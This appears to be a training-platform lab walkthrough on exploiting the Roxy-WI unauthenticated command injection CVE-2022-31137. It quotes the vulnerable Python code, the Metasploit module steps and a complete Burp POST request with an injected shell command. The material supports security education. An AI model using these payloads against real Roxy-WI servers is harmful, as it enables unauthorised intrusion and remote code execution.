Resources
    Lab Walkthrough - Roxy-WI ...
    31 August 22

    Lab Walkthrough - Roxy-WI Unauthenticated Remote Code Executions

    Posted byINE
    facebooktwitterlinkedin
    news-featured

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Introduction

    This exercise is to understand how to exploit the Roxy-WI Unauthenticated Remote Code Executions vulnerability (CVE-2022-31137). 

    The Roxy-WI is a great web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. 

    Purpose: We are learning about how to exploit Roxy-WI using the Metasploit Framework module. Also, we will use the burp suite to exploit the Roxy-WI application manually.

    Technical difficulty: Beginner

    What is Roxy-WI?

    Roxy-WI was created for people who want to have a fault-tolerant infrastructure but do not want to plunge deep into the details of setting up and creating a cluster based on HAProxy / NGINX and Keepalived or just need a convenient interface for managing all services in one place.

    Roxy-WI will build a high available cluster for you in a couple of clicks: it will create servers on AWS, DigitalOcean, and G-Core Labs, install HAProxy, NGINX and Keepalived and carry out the initial configuration for the services to start.

    Monitoring is easy, you can select one of the three available monitoring options or use them all. Now you don't have to be afraid of failures: Roxy-WI will send you notifications about changes in server statuses via Slack, Telegram, and the web panel. If there are problems, you will be informed immediately. See statistics pages and load them in one place. You can view statistic pages and the load information in one place.

    Source: https://roxy-wi.org/


    What is Command Injection?

    A cyberattack known as command injection includes running unauthorized commands on the host operating system. Usually, the threat actor inserts the orders by taking advantage of an application flaw, like inadequate input validation.

    command injection.png

    Lab Link: https://my.ine.com/CyberSecurity/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/d44e0417-15df-4766-9394-7992d0139123 

    Roxy-Wi_00_lab_link.jpg

    Description

    In 2022, a serious vulnerability was found in the Roxy-WI. Roxy-WI is an interface for managing HAProxy, Nginx, and Keepalived servers. Roxy-WI versions before 6.1.1.0 are vulnerable to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file. Attackers need not be authenticated to exploit this vulnerability. Users are advised to upgrade. There are no known workarounds for this vulnerability.

    The severity base score of this vulnerability is 9.8, which is considered critical. 

    The vulnerability is discovered by Nuri Cilengir.

    Read More: https://nvd.nist.gov/vuln/detail/CVE-2022-31137 


    Lab Environment

    In this lab environment, the user will access a Kali GUI instance. A vulnerable machine is running the Roxy-WI server deployed on http://demo.ine.local.  

    Goal after completing this scenario: Access the /flag.txt file and read the flag!

    Roxy_Wi_0.png


    Tools

    The best tools for this lab are:

    • Nmap
    • Bash Shell
    • Metasploit Framework
    • Python

    Vulnerabilities breakup as mentioned below:

    • Vulnerability #1 - Authentication Bypass
    • Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command
    • Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute
    • Vulnerability #4 - Unauthenticated Remote Code Execution

    Please refer to this excellent blog post for vulnerability analysis written by Nuri Cilengir

    Vulnerability #1 - Authentication Bypass

    Code: https://github.com/hap-wi/roxy-wi/blob/v6.1.0.0/app/

    Vulnerable Code

    if form.getvalue('alert_consumer') is None:
        if not sql.check_token_exists(form.getvalue("token")):
            print('error: Your token has been expired')
            sys.exit()

    The lines between 29 and 32, it shows that session control can be bypassed if the alert_consumer variable is defined and not null in the body of the request sent to the options.py.

    Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command

    In the options.py the file was calling a function defined as ssh_command a lot, and ssh_command uses to perform operations on defined remote services.

    Vulnerable Code

    if form.getvalue('getcert') is not None and serv is not None:
        cert_id = form.getvalue('getcert')
        cert_path = sql.get_setting('cert_path')
        commands = ["openssl x509 -in " + cert_path + "/" + cert_id + " -text"]
        try:
            funct.ssh_command(serv, commands, ip="1")
        except Exception as e:
            print('error: Cannot connect to the server ' + e.args[0])

    On lines 1 and 6, the getcert variable is concatenated directly to the cmd variable. Then it is processed with the ssh_command function in the /app/funct.py file.

    def ssh_command(server_ip, commands, kwargs):
        ssh = ssh_connect(server_ip)
        for command in commands:
            try:
                stdin, stdout, stderr = ssh.exec_command(command, get_pty=True)
            except Exception as e:
                logging('localhost', ' ' + str(e), haproxywi=1)
                ssh.close()
                return str(e)
            if kwargs.get('raw'):
                return stdout
            try:
                if kwargs.get("ip") == "1":
                    show_ip(stdout)
                elif kwargs.get("show_log") == "1":
                    return show_log(stdout, grep=kwargs.get("grep"))
                elif kwargs.get("server_status") == "1":
                    server_status(stdout)
                elif kwargs.get('print_out'):
                    print(stdout.read().decode(encoding='UTF-8'))
                    return stdout.read().decode(encoding='UTF-8')
                elif kwargs.get('return_err') == 1:
                    return stderr.read().decode(encoding='UTF-8')
                else:
                    return stdout.read().decode(encoding='UTF-8')
            except Exception as e:
                logging('localhost', str(e), haproxywi=1)
            finally:
                ssh.close()
            for line in stderr.read().decode(encoding='UTF-8'):
                if line:
                    print("<div class='alert alert-warning'>" + line + "</div>")
                    logging('localhost', ' ' + line, haproxywi=1)

    In line 6, it can be seen that the ssh_command function uses the command variable defined in file /app/funct.py without processing it.

    Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute

    Vulnerable Code

    if form.getvalue('ipbackend') is not None and form.getvalue('backend_server') is None:
        haproxy_sock_port = int(sql.get_setting('haproxy_sock_port'))
        backend = form.getvalue('ipbackend')
        cmd = 'echo "show servers state"|nc %s %s |grep "%s" |awk \'{print $4}\'' % (serv, haproxy_sock_port, backend)
        output, stderr = funct.subprocess_execute(cmd)
        for i in output:
            if i == ' ':
                continue
            i = i.strip()
            print(i + '<br>')

    On lines between 1 and 5, if the ipbackend and backend_server variables are defined, the ipbackend variable is assigned directly to the cmd variable. Then the cmd variable is passed to the subprocess_execute function defined in /app/func.py.

    def subprocess_execute(cmd):
        import subprocess
        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True)
        stdout, stderr = p.communicate()
        output = stdout.splitlines()
        return output, stderr

    In line 3, it can be seen that the cmd value is executed directly without being processed.

    Vulnerability #4 - Unauthenticated Remote Code Execution

    Vulnerable Code

    if serv and form.getvalue('ssl_cert'):
        cert_local_dir = os.path.dirname(os.getcwd()) + "/" + sql.get_setting('ssl_local_path')
        cert_path = sql.get_setting('cert_path')
        name = ''
        if not os.path.exists(cert_local_dir):
            os.makedirs(cert_local_dir)
        if form.getvalue('ssl_name') is None:
            print('error: Please enter a desired name')
        else:
            name = form.getvalue('ssl_name')
        try:
            with open(name, "w") as ssl_cert:
                ssl_cert.write(form.getvalue('ssl_cert'))
        except IOError as e:
            print('error: Cannot save the SSL key file. Check a SSH key path in config ' + e.args[0])
        MASTERS = sql.is_master(serv)
        for master in MASTERS:
            if master[0] is not None:
                funct.upload(master[0], cert_path, name)
                print('success: the SSL file has been uploaded to %s into: %s%s <br/>' % (master[0], cert_path, '/' + name))
        try:
            error = funct.upload(serv, cert_path, name)
            print('success: the SSL file has been uploaded to %s into: %s%s' % (serv, cert_path, '/' + name))
        except Exception as e:
            funct.logging('localhost', e.args[0], haproxywi=1)
        try:
            os.system("mv %s %s" % (name, cert_local_dir))
        except OSError as e:
            funct.logging('localhost', e.args[0], haproxywi=1)
        funct.logging(serv, "add.py#ssl uploaded a new SSL cert %s" % name, haproxywi=1, login=1)

    On lines 12 and 31, It can be seen that the upload function directly handles the ssl_name variable.

    Source: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/ 


    Solution

    Step 1: Open the lab link to access the Kali machine.

    Kali machine

    1.png

    Step 2: Check if the provided machine is reachable.

    Command

    ping -c 4 demo.ine.local

    Roxy-Wi_2.jpg

    The provided machine is reachable.

    Step 3: Check all open ports on the machine.

    Command

    nmap demo.ine.local

    Roxy-Wi_3.jpg

    Two ports are open, i.e. 443 and 80. 

    Step 4: Run the firefox browser and access port Roxy-WI over HTTPS.

    RL: https://demo.ine.local

    Roxy-Wi_4.jpg

    Note: Accept the certificate warning

    Login to the Roxy-WI using admin:admin creds.

    Roxy-Wi_4_1.jpg

    Roxy_Wi_4_2.jpg

    Target Roxy-WI version is 6.1.0.0.

    Step 5: Run the Metasploit framework and search for the roxy-wi exploit module.

    First, start the PostgreSQL database server.

    Commands

    /etc/init.d/postgresql start

    msfconsole -q

    search roxy-wi

    Roxy_Wi_5.jpg

    There is one Metasploit module available, i.e,. exploit/linux/http/roxy_wi_exec 

    Step 6: Use the roxy_wi_exec exploit module and check all available options.

    Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE

    This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user.

    Source: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/roxy_wi_exec.rb

    Commands

    use exploit/linux/http/roxy_wi_exec

    show options

    Roxy_Wi_6.jpg

    Set RHOSTS and LHOST, then run the module.

    Commands

    set RHOSTS demo.ine.local

    set LHOST 192.115.40.2

    check

    Roxy_Wi_6_1.jpg

    The target appears to be vulnerable.

    Exploit the server.

    Commands:

    exploit

    getuid

    Roxy_Wi_6_2.jpg

    Step 7: Read the flag.

    Commands:

    ls /

    cat /flag.txt   

    Roxy_Wi_7.jpg

    FLAG: 3a9bfe20952f42d1b97777d41d5bfbf1


    Manual Exploitation

    Step 8: Start burp suite. 

    Roxy_Wi_8.jpg

    Start the Firefox browser and access the Roxy-WI application, then enable the Burp-Suite proxy. Logout old session.

    URL: https://demo.ine.local

    Roxy_Wi_8_1.jpg


    Step 9: Intercept the login page request in the burp-suite.

    Roxy_Wi_9.jpgRoxy_Wi_9_1.jpg


    Step 10: We need to use /app/options.py endpoint to execute commands on the target vulnerable Roxy-WI server.

    Send the captured request to the repeater:

    Roxy_Wi_10.jpg

    Now, replace the entire request with the below-mentioned request.

    POST /app/options.py HTTP/1.1

    Host: demo.ine.local

    Cookie: group=1

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

    Accept: */*

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    X-Requested-With: XMLHttpRequest

    Content-Length: 74

    Origin: https://demo.ine.local

    Referer: https://demo.ine.local/app/login.py

    Sec-Fetch-Dest: empty

    Sec-Fetch-Mode: cors

    Sec-Fetch-Site: same-origin

    Cache-Control: max-age=0

    Te: trailers

    Connection: close

    alert_consumer=1&serv=127.0.0.1&ipbackend=";id+##&backend_server=127.0.0.1

    The above request would execute the id command on the target machine and return the output.

    Roxy_Wi_10_1.jpg

    Send the request

    Roxy_Wi_10_2.jpg

    Executed the command on the target machine.


    Mitigation

    Upgrade Roxy-WI to the latest version.

    Conclusion

    We have learned to exploit the Roxy-WI web interface using the burp suite and a Metasploit module. This is a very critical vulnerability; its severity base score is 9.8. Also, it’s pretty easy to exploit the bug. Upgrade the old version to a newer version of Roxy-WI. Also, do not expose Roxy-WI to the internet. 


    References

    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    © 2024 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo